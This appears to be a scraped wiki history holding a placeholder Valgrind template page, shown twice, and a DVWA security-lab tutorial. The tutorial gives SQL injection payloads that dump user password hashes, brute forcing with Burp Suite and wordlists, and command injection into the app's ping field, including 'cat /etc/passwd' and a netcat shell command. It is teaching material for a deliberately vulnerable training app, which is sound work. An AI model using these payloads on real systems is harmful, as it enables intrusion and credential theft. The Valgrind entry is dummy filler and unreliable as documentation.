== Summary ==

Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools.

== Description ==

=== Step 1 ===

Enter these commands in the shell

echo foo
echo bar

=== Step 2 ===

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Valgrind

2023-01-13T14:57:08Z

VHorvathova: Created page with "== Summary == Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. == Requirements == * Operating system: Ubuntu 18.04 bionic amd64 * Packages: git emacs In order to complete these steps, you must have followed Some Other Documentation before. == Description..."

== Summary ==

Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools.

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==

=== Step 1 ===

Enter these commands in the shell

echo foo
echo bar

=== Step 2 ===

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

DVWA

2022-01-30T17:37:02Z

VHorvathova:

The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.

== Architecture ==

As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.
[[File:DVWA architecture.png|thumb|none|500px]]

== Installation (1) ==

The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:</br>
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.</br>
[[File:DVWA official Website.png|thumb|none|500px]]</br>
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.</br>
*The password is deleted from the configuration file “config.inc.php.dist”.</br>
[[File:DVWA configfile.png|thumb|none|500px]]</br>
*/localhost/dvwa is called by the browser, which leads you to the login.
**Username is “admin”
**Password is “password”
*Now you are logged in and ready to work with DVWA.</br>
[[File:DVWA installed and ready to use.png|thumb|none|500px]]</br>
'''Note''': Before you start, the database should be set or reset.

== Installation (2) ==

This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://<IP_DVWA_VM>/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren't exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.

== SQL injection ==

Let's look at the SQL injection vulnerability.
* In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.</br>
[[File:DVWA search.PNG|thumb|none|500px]]</br>

* When we enter "1" in the search field, the query being sent to the database really looks like this:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$query = "SELECT first_name, last_name FROM users WHERE user_id = 1;";

* If we enter "1'" in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

* Next we can try executing an always true query. The example SQL code would look like this:
SELECT first_name, last_name FROM users WHERE user_id = 'a' OR '1'='1'

* When we enter <b>a’ or ‘1’=‘1</b> in the ID field, sending an always-true query, we get all users with their first and last names from the database.
[[File:True1.PNG|thumb|none|250px]]</br>

* For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter <b>1' order by 9#</b> to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.

* Next we can try the union-based SQLi. We start with entering <b>1' union select 1,2 #</b>, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.
[[File:Union4.PNG|thumb|none|250px]]

* We can try entering the following in the ID field: <b>1' union select database(),user() #</b>, which returns the database name and current user in the same position.
[[File:Union5.PNG|thumb|none|300px]]

* Now that we know the database name, we can extract the tables in this database by <b>1' union select table_name,2 from information_schema.tables where table_schema='dvwa' #</b>. This returns the following:
[[File:Union6.PNG|thumb|none|700px]]

* This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.

* Now we can discover what columns exist in the table "users". We enter the query <b>1' union select column_name,2 from information_schema.columns where table_name='users' #</b>, which results into the following:
[[File:Union7.PNG|thumb|none|700px]]

* Knowing the names of the columns now allows us to extract the specific values from them. Let's look at all usernames and passwords from the table "users". We do this with the query <b>1' union select user,password from users #</b>:
[[File:Union8.PNG|thumb|none|350px]]

* Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:
[[File:John pass hash.PNG|thumb|none|600px]]

* Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.

== Brute force ==
For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite's browser. First, let's select low security in the DVWA and head to the "Brute Force" navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:
username: username
password: password
<div><ul>
<li style="display: inline-block;"> [[File:Dvwa1.png|thumb|none|700px]] </li>
</ul></div>
Now, click on "Send to Intruder" and change to the <i>Intruder</i> tab in BurpSuite. Now click on Positions, and for <b>Attack type</b> choose "Cluster bomb". Click on "Clear §" on the right and then select the entered username and password values and click "Add §" on the right.
<div><ul>
<li style="display: inline-block;"> [[File:Dvwa2.png|thumb|none|700px]] </li>
</ul></div>
Now go to the <i>Payloads</i> tab to "Payload options" and load the wordlist <i>/usr/share/wordlists/metasploit/http_default_users.txt</i>. Scroll up to "Payload Sets" and select <b>2</b>. Now go to "Payload options" again and load a second wordlist <i>/usr/share/wordlists/metasploit/http_default_pass.txt</i><br>
Now, go to the <i>Options</i> tab (still inside the Intruder) and clear the Grep-Match list. Then enter "<b>Username and/or password incorrect.</b>", which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and <b>Start attack</b>. We are looking for entries with the unchecked "username" column. The output should look something like this:
<div><ul>
<li style="display: inline-block;"> [[File:Dvwa3.png|thumb|none|700px]] </li>
</ul></div>
In our case this is
username: admin
password: password
After entering in to the login form, we are successfully logged in and get the message:
Welcome to the password protected area admin

== Command execution ==
The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let's demonstrate this with a simple <b>ECHO</b> command (keep in mind, this is a PHP application).
<div><ul>
<li style="display: inline-block;"> [[File:Dvwa5.png|thumb|none|500px|Medium and low security level]] </li>
<li style="display: inline-block;"> [[File:Dvwa4.png|thumb|none|500px|High security level]] </li>
</ul></div>
We can see the difference between the security levels, which is based on the source code of the DVWA: <br>
<br><b>Low security level</b>: no input validation<br>
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
<br><b>Medium security level</b>: Here, the rest of the code looks like low level security, but has an added part for substituting '&&' and ';'.<br>
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

<br><b>High security level</b>: The "substitutions" array contents way more characters, also including the pipe | character. This is why the DVWA reacted as it did in the previously shown examples.<br>
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
Now we will perform a series of information gathering commands on low security setting as demonstrated below.
* Show the current directory's contents
ls
* Show in which directory path we currently find ourselves
pwd
* Who is the current user
whoami
* List the currently running processes
ps
* List information about the users read out from the /etc/passwd file
cat /etc/passwd
* Discover the hostname and the users that are logged in
uname -a & users & id & w
<div><ul>
<li style="display: inline-block;"> [[File:Dvwa6.png|thumb|none|700px|Command execution - Low security level]] </li>
</ul></div>
To for example create a reverse shell, you can set up a listener on another VM (let's choose port 4444, the listener command on a Kali Linux VM is <b>nc -lvp 4444</b>) and enter the following into the DVWA input field:
1 | netcat -v -e '/bin/bash' -l -p 4444

[[Category:Documentation]]

DVWA

2022-01-30T17:36:34Z